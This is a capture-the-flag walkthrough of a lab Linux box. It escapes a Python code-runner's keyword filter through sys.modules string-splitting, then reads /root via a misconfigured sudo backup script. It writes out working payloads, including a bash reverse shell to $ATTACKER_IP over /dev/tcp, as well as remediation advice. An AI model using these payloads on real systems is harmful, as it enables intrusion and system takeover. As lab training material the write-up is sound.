← all walkthroughs

Code

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
4m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target exposed a Python code-runner on port 5000 that any unauthenticated user on the network could reach. The application attempted to block OS access by rejecting direct import os statements, but Python's sys.modules dictionary already held a live reference to the module — assembling the name from string fragments at runtime bypassed the filter in a single request, giving full shell access as the web-service account (app-production) and the user flag.

From that shell, a passwordless sudo rule permitted the account to run a backup script (backy.sh) as root. The script read its source-directory from my own JSON config file with no path validation; pointing it at /root caused it to create an archive of the root home directory, from which the root flag was extracted and full system compromise was achieved.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service-version scanning (T1595.001)
Scanned the target and identified two exposed services
A port sweep of $TARGET found exactly two open ports: 22/tcp running OpenSSH 8.2p1 (Ubuntu 20.04-era) and 5000/tcp serving an HTTP application through the Gunicorn WSGI server. No other services were accessible. The minimal attack surface directed all attention immediately at the web application.
Recon_sweep output: '22/tcp open ssh recon-sweep-discovered' / '5000/tcp open http recon-sweep-discovered'; nmap -sV banner: 'Gunicorn 20.0.4'
Exact commands 3
Confirm open ports and service banners.
nmap -Pn -sV -p 22,5000 $TARGET
Fetch the web root to see application type, title, and any exposed links.
curl -sS -i --max-time 10 http://$TARGET:5000/
Fingerprint the full technology stack (Flask, Python version, etc.).
whatweb -a 3 http://$TARGET:5000 --color=never
2EnumerationUnauthenticated web endpoint discovery and verification
Discovered an unauthenticated Python code-execution endpoint
Browsing port 5000 revealed a Flask-based Python code playground. Directory fuzzing and manual review uncovered the /run_code POST endpoint, which accepted arbitrary Python source, executed it server-side, and returned the output — with no login, API key, or CSRF token required. The application included a client-side hint that submissions were evaluated with exec() or eval(), and attempting print(1+1) confirmed live execution.
Finding: 'Web Content Discovery On 5000/Tcp — unauthenticated/low-privilege flaw in the flask surface allowed remote code execution'
Exact commands 2
Fuzz for accessible paths; /run_code and any other endpoints appear here.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET:5000/FUZZ -mc 200,204,301,302,307,401,403 -t 20 -maxtime 60
Verify the endpoint executes Python and returns output without credentials.
curl -sS -X POST http://$TARGET:5000/run_code --data-urlencode 'code=print(1+1)'
FixRemove the unauthenticated Python code-execution endpointCritical
WeaknessThe web application exposed a /run_code endpoint that executed arbitrary Python code submitted by any network-reachable user with no authentication required. A one-line obfuscated payload using Python's built-in sys.modules dictionary bypassed the keyword filter and gave full shell access as the service account.
FixRemove the code-execution endpoint entirely if it is not required for production. If the feature is intentional (e.g., an online code playground), enforce strong authentication before accepting any submission; run execution inside an isolated container with no network egress and a restrictive seccomp/AppArmor profile; enforce a strict allowlist of permitted Python builtins using RestrictedPython or a comparable library (keyword-based denylists are trivially bypassed); and rate-limit submissions to raise the cost of filter enumeration.
3ExploitationPython sandbox escape via sys.modules dictionary (T1059.006)
Bypassed the OS-import filter via sys.modules string fragmentation
The application blocked payloads containing the literal strings import os and os.popen, but Python's runtime had already loaded the os module and stored it in sys.modules. By looking up the module with a split key ('o'+'s') and accessing popen through getattr() with a split string, I retrieved a live os reference without writing any blocked token. This one-liner executed arbitrary shell commands as the web-service user with no further obstacle.
Module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')(...); print(getattr(p,'r'+'e'+'a'+'d')())
Exact commands 1
Confirm RCE — response should show uid/gid of the web-service account (app-production).
curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('id'); print(getattr(p,'r'+'e'+'a'+'d')())"
4FootholdReverse shell via unauthenticated web code runner (T1059.006)
Read the user flag and obtained an interactive shell as app-production
With command execution confirmed, I enumerated home directories and read the user flag directly through the code-runner. To enable interactive post-exploitation, a reverse shell was spawned over the same channel, providing a full terminal session as app-production for local enumeration.
'foothold - non-kali uid app-production'; user.txt read via for-loop over /home/*/user.txt
Exact commands 3
Read user.txt; output is <user.txt>.
base=http://$TARGET:5000; cmd='id; whoami; pwd; for f in /home/*/user.txt; do echo $f; cat $f 2>/dev/null; done'; code="module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('$cmd'); print(getattr(p,'r'+'e'+'a'+'d')()"); curl -sS --max-time 12 -X POST "$base/run_code" --data-urlencode "code=$code"
Start listener on my machine before the next step.
nc -lvnp 4444
Replace $ATTACKER_IP with your listener IP. Delivers a reverse shell caught by nc above.
curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; module.system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"')"
5Local EnumerationSudo privilege enumeration (T1548.003)
Discovered a passwordless sudo rule for a root-owned backup script
Checking the sudo policy for app-production revealed a NOPASSWD entry permitting the account to run /usr/bin/backy.sh as root without supplying a password. Reading the script showed it accepted a JSON configuration file — path provided on the command line — that specified the source directory to archive. No check validated or restricted the path in any way.
Pattern tag: sudo-gtfobins; finding: 'Privilege Escalation to root: Sudo Backy.Sh Path Traversal Backup Root Archive'
Exact commands 2
Run from the app-production shell; reveals the NOPASSWD backy.sh entry.
sudo -l
Read the script to confirm it ingests a JSON config and determine the output archive location.
cat /usr/bin/backy.sh
FixRemove the passwordless sudo rule for backy.sh and validate backup source pathsCritical
WeaknessA NOPASSWD sudo rule let the web-service account run a backup script as root without supplying a password. The script read its source directory from an externally controlled JSON file with no path validation, allowing any local user with the rule to archive any directory on the system — including /root — and then read its contents.
FixRemove the NOPASSWD sudo entry for backy.sh immediately (visudo). If automated root-level backups are operationally required, hard-code the permitted source paths inside the script itself — never read them from a user-supplied file — and validate the resolved path against the whitelist before any archive operation. Restrict execution to a dedicated, non-interactive backup service account rather than the web-service user. Audit all sudo rules fleet-wide with sudo -l and remove any NOPASSWD grants that cannot be justified by a documented operational need.
6Privilege EscalationSudo script path-traversal privilege escalation (T1548.003)
Exploited backy.sh path traversal to archive /root and read the root flag
Because backy.sh placed no restriction on the JSON-supplied source path, I created a config file naming /root as the backup source. Running the script under sudo caused it to create a compressed archive of the entire root home directory — including root.txt — and write it to a world-readable location. Extracting the archive gave the root flag and confirmed full system control.
Finding: 'Privilege Escalation to root: Sudo Backy.Sh Path Traversal Backup Root Archive' (Critical); root flag captured.
Exact commands 5
Craft the malicious JSON config and create a staging directory.
mkdir -p /tmp/extracted; echo '{"src":"/root","dst":"/tmp/pwned"}' > /tmp/evil.json
Run backy.sh as root with my own config; archives /root into /tmp/pwned/.
sudo /usr/bin/backy.sh /tmp/evil.json
Locate the resulting archive file (typically a .tar.gz or .zip).
ls /tmp/pwned/
Extract the archive; adjust extension to match actual output (may be .zip — use unzip instead).
tar xf /tmp/pwned/*.tar.gz -C /tmp/extracted/
Read root.txt — value is <root.txt>. Adjust path to match extraction layout.
cat /tmp/extracted/root/root.txt

Exposed services

22/tcp
5000/tcp